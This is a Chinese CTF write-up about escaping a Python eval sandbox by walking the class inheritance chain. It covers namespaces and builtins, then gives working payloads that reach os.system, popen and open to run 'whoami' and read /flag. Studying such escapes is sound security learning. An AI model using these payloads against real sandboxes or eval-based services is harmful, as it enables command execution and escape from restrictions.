从一题中学习通过继承关系创造对象进行Python-Jail
Python的内建函数&内建模块
内建函数是Python自带的函数,可以直接使用,无需导入任何模块;在python交互模式下,使用命令dir('builtins')
即可查看当前python版本的一些内建变量、内建函数
内建模块是Python自带的库,它们提供了更复杂或更专门的功能,但在使用之前需要通过 import
语句引入
例如我们常用的
1 | os:与操作系统交互,进行文件和目录操作 |
Python命名空间
A namespace is a mapping from names to objects.Most namespaces are currently implemented as Python dictionaries.
Python 中的 命名空间(Namespace) 是一种用于将名称(变量名、函数名等)映射到对象(数据、函数、类等)的机制。它类似于一个字典,其中“名称”是键,实际的“对象”是值。这一机制可以避免命名冲突,确保不同作用域内相同名称不会相互干扰。
一个简单的例子说明命名空间存在的意义:计算机系统中,文件夹A里的子文件夹B和C可以有相同的文件名,且彼此不受影响,但同一文件夹中不能存在相同的文件名
内建命名空间
- 作用域:整个 Python 解释器的全局命名空间
- 内容:所有 Python 的内建函数、异常等
- 访问方式:这些名称可以在任何地方直接访问,不需要导入。例如
print()
、len()
等函数属于内建命名空间
1 | print(len("Hello")) |
随 Python 解释器的启动而创建,随着解释器关闭而销毁
全局命名空间
- 作用域:模块的全局命名空间
- 内容:定义在模块顶层的变量、函数、类等都属于全局命名空间
- 访问方式:模块内可以直接访问全局变量,多个模块之间的命名空间是独立的。如果要访问其他模块的全局变量,需通过
import
导入相应的模块
1 | x = 10 |
当模块被导入或运行时,全局命名空间就被创建,并且通常在程序结束时销毁
局部命名空间
- 作用域:函数或方法的局部命名空间
- 内容:函数内部定义的变量、参数等属于局部命名空间
- 访问方式:局部命名空间的变量只在函数内部有效,函数结束后局部命名空间会被销毁
1 | def foo(): |
函数调用时创建,函数结束后销毁
builtins、__builtins__与__builtin__
builtins
Python 3 的内建模块:builtins
是 Python 3 中的一个标准模块,它包含所有 Python 内建的函数、异常和一些常量
__builtins__
特殊全局变量:__builtins__
是 Python 解释器自动创建的全局变量,指向当前命名空间中的所有内建函数和异常。通常指向 builtins
模块本身
你会发现dir('__builtins__')
和 dir('builtins')
的输出是相同的,这是因为'__builtins__'
和 'builtins'
都是字符串,调用 dir()
时,Python 并不会查看内建模块,而是直接查看字符串对象本身的属性
而dir(__builtins__)
的输出则包含了所有的内建函数、异常和常量等
在没有提供对象的时候,将会提供当前环境所导入的所有模块,不管是哪个版本,可以看到__builtins__
是做为默认初始模块出现的
这也就是为什么python解释器里能够直接使用某些函数的原因
__builtin__
Python 2 的内建模块
通过继承关系逃逸
以下关于类继承体系中的重要属性
1 | __class__ 返回对象所属的类 |
1 | ''.__class__.__mro__ |
1 | ''. __class__. __base__ |
1 | ''.__class__.__mro__[-1].__subclasses__() |
而我们需要做的就是去找哪些子类包含像os
模块可命令执行的,或者进行file写文件的;常见payload这里就不提及了,更多的是和SSTI相关,当然本质上是不分家的
先用for将这些子类列一下
1 | for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i) |
python3的利用方式
1 | >>> ''.__class__.__mro__[-1].__subclasses__()[144].__init__.__globals__['system']('whoami') |
利用builtin_function_or_method
的 __call__
调用eval函数
1 | >>> "".__class__.__mro__[-1].__subclasses__()[7].__call__(eval, '1+1') |
1 | [].pop.__class__.__call__(eval, '1+1') |
当然实际中由于版本和环境的因素每个系统中的子类索引是不一样的
1 | [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami') |
__init__
初始化将子类转换成实例,__globals__
使得你能够访问定义函数时的全局变量
在Python2中
warnings.linecache.os
1 | [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') |
1 | [i.__init__.__globals__['linecache'].__dict__['os'].system('whoami') for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "catch_warnings"] |
warnings.catch_warnings
的_module
属性
1 | [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') |
具体题目
2024NewStarCTF Week4 Web 臭皮踩踩背
1 | 你被豌豆关在一个监狱里,,,,,, |
涉及到eval函数全局命名空间,将内建函数和对象禁用,我们前面可以看到dir(__builtins__)
的输出,其中__import__
也在里面,意味着我们不能导入其它任何函数,内置函数也无法使用,除了自定义的 ev4l
我们选择通过继承关系创建对象进行沙箱逃逸,无非就是利用subclasses中的某些子类其包含os库的,因此我们将其遍历,py2中warnings.linecache.os
这里不适用,选择py3中<class 'os._wrap_close'>
1 | [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('cat /flag') |
这是当时我自己的解法,后面官方WP出来后,我觉得又有了新的理解,不过本质上都是从Python一切皆对象出发,通过__globals__
属性去逃逸
由于题目给了f这个匿名函数,我们可以借助函数对象的__globals__
属性中的__builtins__
没错,在eval这个局部命名空间中__builtins__
但丝毫不影响全局命名空间
1 | f.__globals__['__builtins__'].open('/flag').read() |
1 | f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] }) |
1 | f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read() |
真是条条大路通罗马